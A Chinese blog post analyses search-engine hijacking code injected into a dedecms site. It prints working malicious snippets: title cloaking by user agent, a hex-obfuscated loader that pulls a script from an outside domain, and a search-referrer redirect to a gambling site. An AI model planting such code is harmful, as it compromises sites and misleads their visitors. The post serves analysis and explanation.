百度快照劫持代码实战分析

修改时间: 2019-09-20 18:59:00 PM

文章时间:2019年9月20日 18:48:13
解决问题:百度快照劫持代码实战分析
使用程序:dedecms(织梦)

代码段一

<script>
    if (navigator.userAgent.toLocaleLowerCase().indexOf("baidu") == -1) { document.title = "{dede:global.cfg_webname/}" }
</script>

这段JS里面包含一个判断,根据userAgent来判断,如果不是百度来的,那就显示dedecms本身的标题,所以这也就是为什么我们直接打开网页,(输入网址的方式打开)而显示正常标题的原因。

代码段二

<title>&#25276;&#24196;&#40857;&#34382;&#95;&#25276;&#24196;&#40857;&#34382;&#26827;&#29260;&#19979;&#36733;&#45;&#23448;&#32593;&#25163;&#26426;&#97;&#112;&#112;&#19979;&#36733;&#24179;&#21488;</title>

这段代码采用的是Unicode编码,解码以后,是“押庄龙虎_押庄龙虎棋牌下载-官网手机app下载平台”这一行代码,搞懂了。

代码段三

< script type = "text/javascript" >
    window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65"]('\x3c\x73\x63\x72\x69\x70\x74 \x74\x79\x70\x65\x3d\x22\x74\x65\x78\x74\x2f\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x22 \x73\x72\x63\x3d\x22\x68\x74\x74\x70\x73\x3a\x2f\x2f\x73\x66\x68\x75\x66\x68\x32\x2e\x63\x6f\x6d\x2f\x63\x78\x63\x2e\x6a\x73\x22\x3e\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e'); < /script>

解密出来就是这段话

< script type = "text/javascript" >
    window["document"]["write"]('<script type="text/javascript" src="https://sfhufh2.com/cxc.js"></script>'); < /script>

意思是向首页中插入这行代码
具体的跳转原因是因为他插入的是一个js文件,所以js文件被执行了。

var _hmt = _hmt || [];
(function() {
  var hm = document.createElement("script");
  hm.src = "https://hm.baidu.com/hm.js?5389c7fc17035dfab2ade749b0b79e96";
  var s = document.getElementsByTagName("script")[0]; 
  s.parentNode.insertBefore(hm, s);
})();
(function () {
    /*百度推送代码*/
     var bp = document.createElement('script');
     bp.src = '//push.zhanzhang.baidu.com/push.js';
     var s = document.getElementsByTagName("script")[0];
     s.parentNode.insertBefore(bp, s);
     /*360推送代码*/
     var src = document.location.protocol + '//js.passport.qihucdn.com/11.0.1.js?8113138f123429f4e46184e7146e43d9';
     document.write('<script src="' + src + '" id="sozz"><\/script>');
     })();

document.writeln("<script LANGUAGE=\"Javascript\">");
document.writeln("var s=document.referrer");
document.writeln("if(s.indexOf(\"baidu\")>0 || s.indexOf(\"sogou\")>0 || s.indexOf(\"soso\")>0 ||s.indexOf(\"sm\")>0 ||s.indexOf(\"uc\")>0 ||s.indexOf(\"bing\")>0 ||s.indexOf(\"yahoo\")>0 ||s.indexOf(\"so\")>0 )");
document.writeln("location.href=\"https://tz33720.com/\";");
document.writeln("</script>");

这代js写的很厉害啊,就这样完成了他们网站的优化,瞬间全网排名第一非常nice!

吐槽:这些黑帽子把百度的脸打的啪啪作响,大脑摁在地上疯狂摩擦,而百度啥都干不了,只能瞪眼看着,瞅着。百度提供的技术,简直就是黑产灰产的福利,难怪原先BTA 现在没有你,不造福人类,你早晚灭亡。

添加新评论